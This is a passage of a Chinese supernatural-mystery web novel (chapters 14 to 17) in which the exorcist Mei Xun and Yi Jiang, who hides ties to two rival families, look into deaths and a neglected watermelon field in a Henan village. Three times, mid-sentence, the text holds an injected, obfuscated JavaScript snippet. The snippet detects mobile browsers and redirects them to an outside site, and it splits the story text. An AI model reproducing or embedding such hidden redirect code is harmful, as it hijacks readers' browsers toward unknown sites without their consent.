宜念真眉头紧锁,快走了几步,掐住阿书的脸让她抬起头,她原本正常的瞳孔已经变成浅色了,隐隐还有什么东西在里面流转。 下一代的骨瓷,是这个流着姜家血的女孩子! 姜阁杨望过来,两家的掌事人都面色凝重,这个状况可是从来没有发生过的。 宜骨旭爬着爬着,突然吐出一口血,但还是挣扎着把阿书从姜桃怀里抓出来,他把人往两家人面前一推。 “我用她,换我们两个人的命。” 姜桃磕磕绊绊地补了一句:“现在她是你们要的桃花和骨瓷了。” 14. 第一章 金秋十月,河南的温度降了下来,最近的天都不太对劲,整天都在落细雨,到处雾蒙蒙的。 一望无际的田里,这一季的西瓜早就被收走了,剩下的也全变成了肥料,看起来凌乱不堪。 有人蹲在一块西瓜地的边上,用手摸了摸这里的土,似乎是在研究土质如何。 齐明美远远地就看见了那个人,她跑了过来,喊道:“大师,村长已经回来了。” 梅询听到声音站了起来,把手上的土甩了甩,直接就转过身回村。 齐明美在后面撑着伞跟着梅询一路往村子里赶,梅询步子迈得太大,她只好小跑着跟上。 昨天刚见到这个传说中的捉妖师,大伙都不太敢相信,因为这人穿得实在是过于学生气了,运动鞋,牛仔裤,白短袖,短袖外面还套了一件和牛仔裤同色系的马甲,头发也是打理过的。 而且,那张脸也长得不是很像捉妖师的样子,上扬眼,下垂眉,高鼻梁,肤色也白,像是什么大明星,而不是捉妖师。 因此,齐二叔更不相信了,何况当时村长也不在,直到梅询拿出一块什么东西,齐二叔才似信非信地让梅询留下,说是等村长回来再说。 这不,村长刚回来,齐二叔就让她出来叫人,不过,这个捉妖师还真是奇怪,这两天就一直在看地里的土,出事情的地方也不是这啊。 没几分钟,梅询就走回了村子里,那个只听其名未见其人的村长也在了。 是一个上了年纪的老头,五六十岁的样子,头发是灰白色,脸上有道明显的疤痕,身体却板正。 “这位就是捉妖师一脉的小哥了吧?”村长先问了一句。 梅询:“妖梅,梅询,我是接了委托过来的。这是我的凭证。” 村长接过那块牌子,用大拇指轻轻摩挲了一下,又还了回去:“没错,是捉妖师的东西。” “那事情的前因后果可以讲清楚了吗?” 村长却缓慢地摇摇头:“梅小哥,这事也是我的疏忽,之前托人的时候不是单找的,而是托了道上不少人,所以,这一趟也有很多人要过来。” 梅询懵了一下,之前兰成弘只是说有个简单的任务让他出来练练手,可没说要这么麻烦。 他眼神暗了暗,揉了揉自己的手腕:“行,大概什么时候人到齐?” “就这几天了,很快,村里有腾出住的地方,梅小哥,你直接在村子里住下就好。” 梅询面部没有一点表情,点点头。 几天前,兰成弘突然联系他,说是道上有人在找捉妖师,也有报酬,刚好梅询没什么事,就答应了过来。 结果好不容易坐车突突突到这个村子,先是被怀疑捉妖师的身份,再然后就是不给出前因后果,含含糊糊地说了一通,等了一天等到了村长,又被告知还要其他人会来抢。 好倒霉,梅询闭上眼仰头叹了一口气。 齐明美追了出来:“大师,你有行李吗?刚好我给你带路。” 梅询摇摇头,面无表情说:“不用带路,地方就是你们今天收拾的那一片屋子吧,我自己过去就行。” “嗯……对,就是那,大师你随便选一间住进去就行,钥匙都插在门上了,村子里条件就这样,您多担待。” 梅询:“我知道了。” 齐明美看着又要迈步走人的梅询,赶紧提了一句:“对了,大师,我们这儿提供饭菜,就平常吃饭那个点,你来村长这,要是不满意的话,也可以找村口的阿绅哥带你去镇上吃。” “我知道了。”梅询认真听完,“你还有什么事吗?” 齐明美想了想,村长交代的好像就这些,于是她摇摇头:“没了。” 梅询转过身,却不向那几间房子走去,反而走向了村口,他昨天晚上住的镇上,行李还在酒店里。 和阿绅哥说明了原因,他二话不说就载上梅询去镇上,一阵颠簸之后,梅询下车,板着一张脸和阿绅哥说再见。 “等会你咋子回去?” 梅询深吸了一口气,僵硬地说:“我还要在镇上待一会,等会我另找人回去就行。” 阿绅哥得到回复,把车头一转回村子了。 梅询眼看着车子没影了,这才捂着胸口干呕了几声,这车开的,着实有点让他晕车了。 回到了酒店,梅询看着放在地上大开的箱子以及散落在床上的衣服裤子,也叹了一口气,接着认命地把衣服按照一套一套叠好放进箱子里。 等把房间收拾得差不多了,他正要出门,想到些什么,又转头走向厕所,对着镜子理了理自己经过一上午有点塌的头发。 梅询拎着箱子下楼的时候,正好有几个人要上来,看着他们人多,梅询往旁边靠了靠,让他们先过。 几个人的谈话声传入他的耳朵。 “诶,话说就是这个村子发布的任务吧?” “应该是这没错,看着也不是很大的地方,危险程度不高,也不会有什么道上有名的人来。” “就是这么一件小事要这么多人来,总觉得怪怪的。” 后面的梅询就听不清了。 这些也是来村子里的人,梅询看着那几个人的背影在原地站了好一会,直到电话铃声响了起来。 是自己约的网约车。 梅询想了半天,还是先把车取消了。 人越来越多,他得晚点去村子,先看看这帮人究竟是真家伙还是凑数的。 毕竟,这也算是自己的第一次正儿八经的委托,实战经验不足,总是要观察一下其他选手的表现。 于是,他又吭哧吭哧把箱子拎上了楼。 刚进房间,那股熟悉的视线又出现了,梅询熟视无睹地继续干自己的事情,过了一会儿,那股视线就不见了。 最近那个东西出现得越来越频繁了,梅询垂下眼,而自己并没有在捉妖师那找到任何头绪。 宜姜也没有再联系自己,说明她那边也没有什么进展。 但按照自己离开湖南这个东西还跟着来看,至少,它是跟着人而不是地方的。 ****** 镇上的陌生面孔果然在这几天多了起来,梅询坐在一家路边的胡辣汤店,手上拿着勺子在碗里搅拌,眼神却盯着周围。 不太对劲啊,人也太多了,而且,来的好像除了自己,也没几个人是道上有名的。 自从九月回到捉妖师一脉之后,梅询就把道上的所有资料全背了下来,照片也都全记住了,这段时间来的人里没有一个他看过的熟悉面孔。 正在思考间,旁边也落座了两个人,应该是结伴来的,一胖一瘦。 胖的那个把菜单上的东西都点了大半,这才说:“你听说了没?” “听说什么?” “之前有人在河南这片碰到鬼面了。” 瘦子左右看了看,低下了声:“鬼面来这干嘛,难不成也是因为这事?” 胖子也做贼似的看了看,声音轻得完全听不见了。 梅询的手顿住,鬼面,他记得,是宜家的死对头,正是因为这个,他对鬼面一脉的资料还认认真真看了很多遍。 也许是个巧合? 毕竟河南那么大,鬼面又不一定来的就是这个村子。 发现听不到什么了,梅询起来结了账,打了个网约车往村里赶。 快到村子的时候,梅询就看到村口的空地停了好几辆车,已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470806|201469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有不少人来了。 他拖着行李箱下来,径直走向之前齐明美他们收拾好的地方,这条路正好经过村长家。 齐明美正纳闷,那位年轻的捉妖师怎么这几天都不见人,结果一抬头,就看见那人出现在眼前。 “大师!” 梅询把视线移了过来,点了点头,算是打过招呼了。 齐明美一脸笑意地走了过来:“大师,这段时间村子里来了不少人,那地方都快挤满了,所以我们把旁边的几间房间收拾了出来,现在也没几个人住,你可以去那。” 梅询:“谢谢。” “不客气,我带你过去吧。” “不用。”梅询立刻拒绝。 拒绝完齐明美,他也不准备聊下去,直接拎着箱子就往前走。 那一片被单独打扫出来的房间已经有不少人在了,梅询沉默走了过去。 二楼正好有个人在阳台探出身来,黑色长发,戴着墨镜,穿着一件红色皮衣,脖子上还系着一条红色波点丝带,一阵风吹过,头发和丝带一起在风里飘扬。 梅询低下头眨了眨眼睛,那个人的脸正好处在背光面,他看得很是模糊。 等他再次抬眼往二楼看去的时候,那个女人已经消失在阳台了。 鬼使神差的,他走进了这栋房子。 里面没什么人,甚至房间都空荡荡的,没人选。 这地方就住了那个女人? 梅询把东西放下,环顾四周,没发现什么不对劲的地方,直到他转过头,在门口的牌子上,有一个奇怪的血色鬼面。 这是鬼面的标志,怪不得这里没人来。 鬼面,是捉鬼师的代号,也是宜家的死对头,因为常年和鬼物打交道,他们一脉的很多东西都和鬼扯上了关系,比如,他们的性格都阴沉沉的,几乎都板着脸,又比如,这个看起来就不太吉祥的图腾印记。 梅询咽了咽口水,拉起箱子也准备往外跑。 这个时候,一阵脚步声传来。 楼上有人下来了。 是个陌生女人。 看见梅询拎着行李站在门口迟迟不动,她冷声提醒道:“鬼面住在这里。” 潜台词是,你可以有多远滚多远了。 梅询也同款板着脸,什么话也没说就打算离开这,惹不起他还躲不起嘛。 又一阵脚步声响了起来。 梅询条件性往后看了一眼,长发,墨镜,看衣服像是之前在二楼的那个女人,等他的视线移到那张脸上,他的表情瞬间生动起来。 姜奚从在旁边不明所以。 “宜……”梅询才说出了一个字。 对面的女人就赶紧对着他比出了一个噤声的姿势,接着她若无其事地对姜奚从说:“人家要住就让他住,我们只是客人,你别每次和我出来都这样。” 姜奚从转过身点了点头:“我知道了。” “你是不是又在门口弄了什么图腾?全部都撤掉。你再这样擅自做事,以后就别跟着我了。”说到后来,宜姜的声音越来越冷,说完她直接就转身上楼。 看着两个人一前一后上楼,梅询还是站在原地,失笑了一会,才在楼下找了个房间。 刚进去没多久,手机上传来了一条消息:“有事,晚上再细说。别忘了你答应我的。” 梅询笑着一个字一个字回复过去:“好,我知道。我记得我答应过你的,我没和任何人讲,现在当然也不会。” 发出去之后,他斟酌了半天又发了一条:“那我应该叫你什么?” 对面飞速回了一句:“不需要叫我。” 接着又马上发了一条过来:“避免麻烦,假装不认识就好了。” 15. 第二章 夜色如水,凉爽宜人,抬头可以望见满天星,三三五五。 梅询特意打开了房间的窗户,安静地在房间里等待着。 不一会儿,一阵微弱的动静从上方传来,窸窸窣窣的,梅询警觉地从窗户探出头往上看。 宜姜突然从楼上借力跳下来,衣服和白天见面的时候不一样,却还是红色的,看上去像是睡衣。 宜姜轻手轻脚落地之后,朝梅询摆了摆手,梅询往旁边让了让,宜姜直接在窗口撑了一把跳了进来。 进房间之后,宜姜立马把窗帘拉上,做完这些,她才转过头。 梅询冲她笑了一下:“坐吧,宜姜,你只穿这点衣服冷不冷?” 宜姜还以为梅询第一个问的会是她怎么变成姜家鬼面的人了,结果他关注点奇奇怪怪的。 “不冷。”宜姜还是回答了他,接着继续说,“在这里,我不是宜家人,你千万记住了。” “好,我会记住的。那除了这个,其他还有什么我注意的吗?” “唔……”宜姜看着面前这个极度好说话的梅询,也不知道该说些什么了,他好像对很多事情都不太在意,很能自洽。 “没什么要注意的。”宜姜找了个地方坐下,“你也是看了那个消息过来的?” “捉妖师那有个委托,我正好没事,就过来了。” 宜姜点点头。 梅询问:“你身边那个看不见的东西还在吗?” “偶尔会有,离开湖南之后就出现了一次吧。你呢?” “和之前一样。”梅询乖乖说着,“你是刚到这里吗?我其实觉得这个委托有点不太对劲。” “不太对劲?哪不对劲了?”宜姜看向他。 “这个村子以及村子里的人死活不愿意透露一些关于委托的内容。” 宜姜笑了笑:“都是正常的。你最近刚回捉妖师一脉所以不了解,我们经常会这样,因为和鬼啊妖啊扯上关系的大都是有人做了什么亏心事,很多时候的原因都荒谬至极。” 梅询没从这个角度去看待过这些事情,他还以为这种任务都是简洁明了的,对方给出信息,自己就能根据消息捉妖了。 宜姜继续说:“不过,这一次,人来那么多,的确有点不太对劲,之前很少有这种大范围的。” “而且,来的都不是有名的那一批人。”梅询补充道。 宜姜挑了挑眉:“你很早就过来了?” “几天前吧,我来的时候,就只有我一个人。”梅询想了想,还是把自己觉得奇怪的地方说了出来,“其实,这个村子本身就有点怪怪的,村旁边的那块田,都没人打理。” 宜姜疑惑地望过去。 “一般这种靠近村子的田,尤其是我看了看,至少这个夏天那块地还是在种西瓜来着的,但是好像是收了一茬之后就没人管了,这是不太正常的,至少不种了也会把上一季的种植区收拾一下。” 梅询边说边在脑子里回忆前几天看的那块西瓜田,他甚至还看到了已经腐烂的西瓜,有些小西瓜还保持着大致样子。 那块田像是主人家突然发生了什么事情离开了,导致这块田一直没人打理,甚至都没人来偷瓜。 宜姜思考了一会,她今天才刚到这里,也没出门逛过,更何况她还带了个姜家监控,做事情都不太方便。 就连来找梅询,她都是假借自己要睡觉了才从窗口翻下来的,睡衣都没换。 交代完了这个村子的事情,梅询又继续问道:“你是在扮演姜家人吗?” “不是。”宜姜反驳,组织一下语言才说道,“我就是姜家的。” “道上不是说宜、姜两家是死对头吗?” 这句话刚问出口,梅询就愣了一会,宜姜的名字正好是宜、姜两家的姓,这个时候,他好像也能理解之前在龙山,为什么那个胡湘说宜姜的名字很有意思了。 不过,为什么她会同时是宜家和姜家人,而且在两家都是不一样的穿着? 宜姜考虑了一会,还是说:“有点意外嘛,就这样了。” 梅询看了看她的眼睛,原本浅色的瞳孔已经成为了正常的颜色。 “你的眼睛……” “带了美瞳。”宜姜解释道,但下一秒反应过来,她大学的时候也一直戴美瞳,那为什么上次梅询一眼就认出来了? 有点古怪了,难不成梅询知道她那个时候会来龙山县,换句话说,他知道宜家的骨瓷是她。 想到这,宜姜立刻往梅询的眼睛看去,梅询却好像知道了什么似的,把眼睛垂下了。 宜姜眉头皱起:“你……” 梅询却也同时说:“你……” “你先说吧。”宜姜虽然皱着眉头,但还是让对方先说了。 梅询看了看:“你吃饭了吗?” “吃了。”宜姜笑着叹了一口气,对梅询这种每次都抓不到重点的事情已经无可奈何了。 “你就问这个?”宜姜又问了一句。 梅询这下倒是敢抬头看她了:“因为有些事情你也不可能跟我说,所以就只好问一些别的事情,吃饭也是很重要的一件事啊。” 对梅询来说,很多事情都不是他现在能够光明正大问出来的,而且,说实话,他其实也不知道该和宜姜说些什么话。 宜姜叹了口气,站了起来:“行吧,那就没什么了,我走了。” “等等。”梅询叫住了她,小心翼翼地说,“我们这一路上是真的要假装不认识到最后吗?” “我的意思是,我不能接下来和你假装是刚认识的吗?” 宜姜对前一句满是迷茫,听到后一句才知道梅询在说些什么。 “没有人会主动和鬼面交朋友的。” 宜姜留下这样一句话就从窗户翻了出去,然后熟练地爬上了二楼。 梅询探头看到她安全地上去了才把窗户关上。 ****** 宜姜轻手轻脚地打开阳台的门,唰的一下闪了进去,屋子里和她走之前一模一样,漆黑一片。 她松了一口气,门却在这个时候被敲响了。 宜姜揉了揉自己的头发,把被子折腾了一遍,才把门打开。 外面是姜奚从。 “有事?”宜姜整个人站在阴影处问道。 “桃花,姜家分部有事,需要我先到附近出去一趟,明天下午就回来了。” “去呗,如果我这结束了,我会和你说的。”宜姜毫不犹豫回答。 应付完姜奚从之后,宜姜把门关上开了灯。 如果说宜家是奶奶孩子里有几个人有病,那姜家就全是一堆疯子,还是那种自己疯却不自知的人。 当初,宜、姜两家都想要宜姜在自己这边,但是宜姜选择了宜家,毕竟在她看来,姜家简直就是一群阴暗爬行怪。 这些年,宜姜虽然也两头跑,但还是在宜家待的多一些,毕竟宜家还是有几个正常人的。 鬼面姜家,在道上赫赫大名,是一个以捉鬼为己任的家族,但和鬼待久了,他们越来越从人向鬼转变,那个恶鬼图腾与其说是鬼的符号,不如说更像是姜家人自己。 想到这,宜姜摸了摸自己的眉心,这里种下了一个鬼种,因为上次受伤的原因,最近变得特别不稳定,姜阁杨不放心,就让人陪宜姜出来。 鬼种,只是一个代称,实际上算是开窍。 姜家捉鬼,以桃木为主,有点偏向道士,但是又完全不同。在姜家看来,一整棵桃木树都是可以用来困 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470807|201469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住鬼的武器,也基于此,姜家一脉的执行者代号桃花。 宜家的执行者也是如此取的名字,骨瓷骨瓷,名字里都带有一个骨字,但是因为宜姜的特殊性,所以这些旧历全都改了。 在宜家,宜姜就用她本来的名字;在姜家,她就用桃花的代号。 本来宜家打算换一个名字,或者干脆和姜家那一样只叫代号,毕竟宜姜这个名字让人一听就会想起姜家,会有暴露的风险。但是宜姜宜姜,宜家在前,姜家在后,也有可以圆过去的理由,于是,宜家也就没再折腾。 而且,因为宜、姜两家怕被人发现,除了名字,宜姜在两家出现时的造型、衣服,甚至性格都是不一样的,这些年也一直被瞒得很好。 除了,这次山君宴。 宜姜的眼神锐利了起来,又是梅询。 但根据这次的委托内容加上梅询的性格,他出现在这里似乎不太奇怪,毕竟这次的酬金还是比较多的。 自己不就是因为这个酬金才过来的,是的没错,宜姜想到自己在北京买的那个店就头大,太费钱了,感觉快养不起了,没办法,她这段时间只好拼命接任务。 只是,为什么会这么巧合呢? 同样在思考这个问题的还有在楼下的梅询。 真是太过巧合了,梅询想。 他一直在想下次的见面应该是在山君宴的流程之一,也就是择日的时候,但没过多久他们又见面了。 不过,梅询低头看了看自己的装扮,这次穿的还行,起码不是乱七八糟的了。 梅询想到宜姜现在的身份,她不愿意说,其实他也可以去问兰成弘,毕竟他之前表现得对宜家很熟悉的样子,但是,宜姜不愿意。 但想了好一会,还是想了解宜姜的心思占了上风,梅询给兰成弘发了条消息,让他查一下鬼面姜家。 下一秒,兰成弘的电话就拨过来了:“你在河南遇见姜家人了?” 梅询嗯了一声。 “道上的确有消息说姜家桃花在河南,你遇见的不会是桃花本人吧?”兰成弘声音都大了起来,“你在哪遇见的?” “你给我的那个委托任务,姜家也来人了。” “不对啊,那个任务没那么难啊,而且,除了金额多一些,其他都没什么,这种小任务怎么会有姜家人?” 梅询:“不知道,所以,你要不给我一份更加详细的资料,全面一点的。” “没有。” 梅询啊了一声。 “真没有,姜家人不像宜家,他们都是独来独往的,我们知道的都是道上有的,你之前看的那份就是详细的了。” 那就没办法了,梅询回了一句:“好吧,那就算了。” “你先别挂!”兰成弘听梅询这样讲,大概就知道他接下来要干嘛了,“要不你先退出这个委托,反正也还没开始,姜家人都来了,总感觉那地方不安全。” “不退。” 兰成弘开始哀嚎:“诸事不宜,诸事不宜。你要是栽那了怎么办,我们可只有你一个妖梅。” 梅询推开窗,轻声说:“不会死的。” “你说不会就不会?大哥你在干嘛啊?我马上过来。” 梅询拒绝:“不用,我不会主动找死的,你别来。” “我很难相信你的话。”兰成弘义正言辞地说。 “我就在旁边看着好吧,有事我肯定第一个跑,你别来了。”梅询妥协。 兰成弘在手机那一头毫不相信,但还是嘴巴上说好的好的。 挂了电话之后,兰成弘先是看了看自己手里的事情,算了算时间,直接定了张去河南的机票。 而这边的梅询则是和兰成弘想的一样,根本就没把他的话放在心里。 16. 第三章 又是细雨绵绵的一天,梅询早早起来,在浴室里折腾了好久,才出发去村长家。 临出门前,他特意不留痕迹地看了二楼一眼,上面没有任何动静。 村长家门口的空地上已经有不少人在了,看见又来了一个人,大家都转过头,但看到梅询的那一刻,他们又把目光收了回去。 梅询低头看了看自己今天的装扮,很青春,很少年啊,没毛病,他还特意戴了个发带呢。 他环顾了一下四周,宜姜还没来,于是梅询找了个空地站着等人到齐。 但宜姜却一直没来。 村长看人差不多了,直接出来请大家进院子坐着,梅询的眼神还盯着门口,随便找了个地方坐下。 刚好邻座的就是之前碰到的那对胖瘦组合,他们一脸笑意上来和梅询打招呼。 “怎么称呼啊,这位小兄弟?” “我姓梅,叫我梅询就可以了。” 两个人表情不变,把自己的名字也说了出去,胖点的叫杭石,瘦点的叫费子平,他们是一起结伴来这的。 杭石看了看梅询的装扮,还是忍不住问出了一个问题:“梅……梅询,梅小兄弟,你几岁了?你家长辈就让你一个人出来?” 梅询回过头:“我毕业好几年了。” “嗷……”杭石尴尬地摸了摸自己的鼻子。 幸好这个时候村长已经要开始讲了。 “各位,我看大家人也到的差不多了,所以我就不钓着大家,直接说了。” 这话一出,现场瞬间鸦雀无声。 村长继续讲下去:“事情是这样的,从今年八九月开始,我们村子里就会莫名其妙地少一些鸡鸭鹅,甚至还有家养的狗。当时呢,我们也组织过人手去找了,却只找到一些碎骨头。” 这个开头让坐下的人开始窃窃私语。 村长无可奈何地大声说话:“这只是个开始。然后我们村子里有些人家得了一些怪病,身上开始长一些黑色的斑点。别害怕,不会传染,他们长得毫无规律。这些都好说,但是,最近这段时间,出人命了。” “我们也报警了,但人依旧死的死,死的还特别难看,尸体都是残缺的,没办法了,我们也就只能找找道上的人,钱不是什么问题,我们村子里每家都出钱,只要解决了事情,什么都好说。” 杭石大声问道:“目前为止,死了几个人?” 村长的表情停顿了几秒:“两三个。” 旁边的人也开始问:“死的是那几个身上长黑斑的人吗?” 村长沉默了一会,点点头。 “尸体在哪?” 村长一脸无奈:“家里人下葬了。” 这让大家怎么去查,什么东西也没给,只给出一个字面的事情前提,从哪入手都不知道。 村长回答完这些问题也就不说话了,一个劲地开始拜托这里的人,言辞恳切。 等人渐渐散去,梅询还是没等到宜姜,他还是忍不住和宜姜发了条消息:“今天不来听村长说前言后果吗?” 宜姜没回。 想起昨天答应宜姜的,梅询思考了半天,还是决定先把这件事找点可切入的地方再说。 村长的这番话,和梅询一进这个村子就关注的点完全不同,西瓜地完全没有提到,但他是真的觉得那块西瓜地有点不对劲。 梅询跟着最后几个人出去,里面刚好就有杭石和费子平。 杭石看到梅询笑着说:“梅小兄弟,要不我们结伴去呗?” 梅询拒绝了他的邀约,快走了几步离开了这。 费子平在后面疑惑地问:“这个梅询小兄弟,有点眼熟啊,是不是之前在镇上见过?” ****** 宜姜在二楼阳台趴着,今天早上起来,她之前受的伤又复发了,没办法,只好休息一下。 姜桃之前问她受伤严不严重,她当时推辞说不严重,表面上的确看起来不严重,因为当时受伤更严重的是鬼种。 这也是姜家不放心她一个人出来接姜家任务的原因,毕竟,姜家这一代的桃花才真正出现了十几年而已,要是没了,他们又要等很久。 宜姜伸出手,无聊地对着天上的太阳比划着。 受伤那次,其实是一个很简单的任务,宜姜想到这就开始叹气。 具体内容是去一个闹鬼的墓里,起初也很顺利,但是到最后要撤出来的时候,不知道是碰到了机关还是什么,反正整个墓开始摇摇晃晃。 当时墓里不只有宜姜,也有一些单纯被困的考古研究人员,里面又只有她一个人厉害点。 她就动用了一些不太正规的姜家秘法,刚出来就晕过去了,一睁眼就看到了姜阁杨的大脸,还没等她缓过来,眉心就传来一股剧痛。 “你的鬼种被伤了。”姜阁杨冷着一张脸说,像是判词。 其实也不是什么严重的事情,养一养就好了,只是之前在龙山,她忘记这茬事,又动用了鬼种,于是被姜阁杨严厉禁止单人出行。 伤上加伤,这次就稍微严重了一点。 宜姜抬头望了望天,下午姜奚从就回来了,药应该也能带回来了。 河南这气候很是干燥,就算下过雨了也没改变多少。宜姜在外面趴了一会感觉脸都要干了,最后还是回到了房间里灌了几口水。 姜奚从发了条消息过来:“桃花,这边有事,延迟至晚上回。” 要到晚上了,宜姜算了算时间,下午也没什么事情可以做,大不了到时候自己不动鬼种就好,想到这,她干脆套上一件外套出门。 她一个人去找了村长问事情,村长还是一副之前说过的话术,宜姜也不深究,听过就当知道了。 这种在村子里乡下的任务,一般不用看当事人怎么说,因为大部分说的都不是真话。 其他人都选择去村子里问村民找点信息,宜姜不紧不慢地往村子外面走过去。 村子外头是大片大片的土地,上面种些着农作物,绿油油的,但每过一段距离就会莫名出现一个土堆。 河南大部分是平原地带,很少山丘,所以家里长辈去世也都葬在土地里,算是另一种形式的落叶归根了。 宜姜略过这些坟墓,直直地往前走过去,左拐了一下后在一片杂乱无章的田地前面停下了脚步。 这块田,有点奇怪啊。 宜姜想到什么,转过头看了看周围,这块地好像就是之前梅询说过的那块西瓜地。 她本来打算去这块西瓜地里看看,但转身的时候,发现了几座很明显的新坟,那应该就是这个村子里莫名死去的人。 宜姜毫不犹豫放弃了这里,直接朝最近的那个坟墓土堆走过去,土堆和周围格格不入,土质也完全不同。 她围着坟墓走了一圈,眼尖地看见了几张黄色符咒,全是没用的,像是那种街上买的虚假货,只能起到一个心理安慰作用。 有点想看看里面是什么样子的了。 宜姜正想着,旁边却传来了一阵动静,她瞬间锁定住了声音的来源地。 梅询走了出来,笑着边冲她点头边说:“宜姜。” “是你。”宜姜放松了下来。 梅询正了正神色:“我来这边看看那几个去世人的墓。” “你发现什么了?” 梅询摇摇头:“我也刚到没多久,而且也不太好挖坟吧?所以就只能在周围走走看看。” 的确,大白天的,也不太好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470808|201469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在路边上就直接挖坟,而且根据村长所说,这些人的家人也肯定不愿意。 宜姜仔细思考一下,村长话里的疑点有很多个,首先是那个不知名的黑斑,第二是咬伤牲畜的那个东西,第三就是这几个死者,看这些坟的数量,死的根本不只两三个人。 除此之外,村长所说的这些,都太过空洞了,事情没有完整的前因后果,显得格外的诡异,而且也在一定程度上暴露了前因后果才是这件事情最重要的部分。 梅询看宜姜一直不说话,他摸了摸鼻子开口:“你有想到什么吗?关于这件事的。不过,我们这样还挺像无限流小说里描述的那样。” 宜姜转过头:“你还看无限流小说?” 梅询咳咳几声:“不怎么看。就是觉得我们现在这个氛围还挺像的。” “其他任务其实也跟我之前说的一样,流程都差不多,只是现在这个任务多了很多人,以及事情还没有急迫到村子里人说真话的程度。” 宜姜做过很多次任务,宜家的还好,只是修修东西维持一下,最多就是开窑辛苦一些,但姜家这就是什么牛鬼神蛇都能遇到,甚至就连向你求救的弱者也有可能是想让你去死的凶手。 每次一到姜家的任务,宜姜就只有一个法子——急不得。 很多事情都没办法一下子去搞定,必须要慢慢地,慢慢地,抽丝剥茧一样把事情的细节解决。 所以姜阁杨也同意了宜姜这次接任务,除了他也拗不过宜姜之外,也是因为有姜奚从陪在旁边,按照宜姜之前出任务的性格来看,只要她不作死就不会出什么大问题。 梅询稍稍疑惑了一下,但还是问:“村长说的是假话?” 宜姜回答:“不知道,现在谁也不知道村长说的是真是假,我们也就只能似信非信咯。” “不是。”梅询皱了皱眉,意识到什么马上又松开了,“那他说假话又要我们解决事情,这根本就不可能啊。” “你知道人和动物的区别是什么吗?” “啊?” 宜姜转过身,意味深长地说:“人是会撒谎的。” 梅询沉思了几秒,还是追了上去:“你接下来要去干嘛?” “找线索啊?”宜姜震惊地看着他,“还有,我们是对手诶,你别老跟着我。” 梅询停下了脚步,但没几秒又走了上去:“我来这是来练手的,完不完成我并不是特别在意。” “你不是为了钱来的?”宜姜惊讶地回过头。 “不……不全是。” 宜姜摇摇头:“就算不是,我们鬼面和你们其他家也没有什么合作的必要。” “但是你是宜姜啊?”梅询怯生生地回了一句。 宜姜看着他:“所以呢?” 两人对视着,梅询眼睛一眨不眨地看向她,最终还是宜姜先败下阵来。 “你要跟就跟吧,现在记得叫我桃花,或者干脆不叫我也行。” 梅询的眼睛瞬间亮了起来:“我肯定照办。” 宜姜看了他一眼,算了,就当再多个监视的,债多已经不怕了。 “我们等晚上再来这挖坟,现在太早了。”宜姜交代道,“晚上的话,我们分开出来,回头你微信上和我说。” 梅询看着她:“你微信还看吗?我之前和你发了消息。” 宜姜拿起手机捣鼓了一下,忘了梅询在自己生活号里,出来工作的时候她几乎只看工作号来着。 梅询顶着皱皱巴巴一张脸,头发被风吹得一起一落的。 “我用另一个号加你,那里我工作的时候用得多一些。” 梅询马上把手机掏出来伸了过去,等宜姜申请好友的消息发过来,梅询瞬间通过了。 17. 第四章 风呼呼地吹着,晚上的温度凉了下来,梅询摸了摸自己的胳膊,上面已经起鸡皮疙瘩了。 他一吃完饭,看天色暗得差不多了,就在微信上和宜姜说了一声,趁着没人注意,一路跑到白天去过的坟边,整个人藏在了田里。 一只手突然拍上他的肩膀,梅询吓得一激灵。 “是我。”宜姜低着声说,“你什么时候到的?” 梅询的心缓了缓,同样压着嗓子说:“刚到。东西什么的我已经拿来了,就藏在这。” 说着,梅询正想往旁边走走把地上的东西露出来,宜姜却一脸严肃地捂住他的嘴。 “别动!有人来了。” 梅询眨了眨眼睛,表示知道了,宜姜这才慢慢把手松开。 在宜姜看不见的地方,梅询无意识地舔了舔自己的上唇,反应过来之后他才开始羞耻,他在干嘛! 宜姜没顾上这里,她把身子往后藏了藏,也顺势把梅询往地里拉了拉,确认没地方露出来之后才屏住呼吸等待着。 远远地,有两个身影鬼鬼祟祟地过来了,两人走几步就停一下开始四周张望,这样磨磨蹭蹭地过了十几分钟才走到坟堆这。 “杭石哥,你确定这个土堆里有我们要的东西?”费子平颤颤巍巍的声音传了过来。 “我……我当然确定,不管那个村长怎么说,反正死人是一定的,我们就来看看这个人是怎么死的……” “你……你知道……怎么……看尸体吗?”费子平缩着脖子靠在杭石身后,眼睛根本不敢看着那个坟堆。 杭石咽了咽口水:“你怕什么,我们两个人呢,这个坟里才一个,二对一,怎么着也是我们赢。” 杭石给费子平打了打气,自己率先拿了个铲子对着土堆铲了一次。 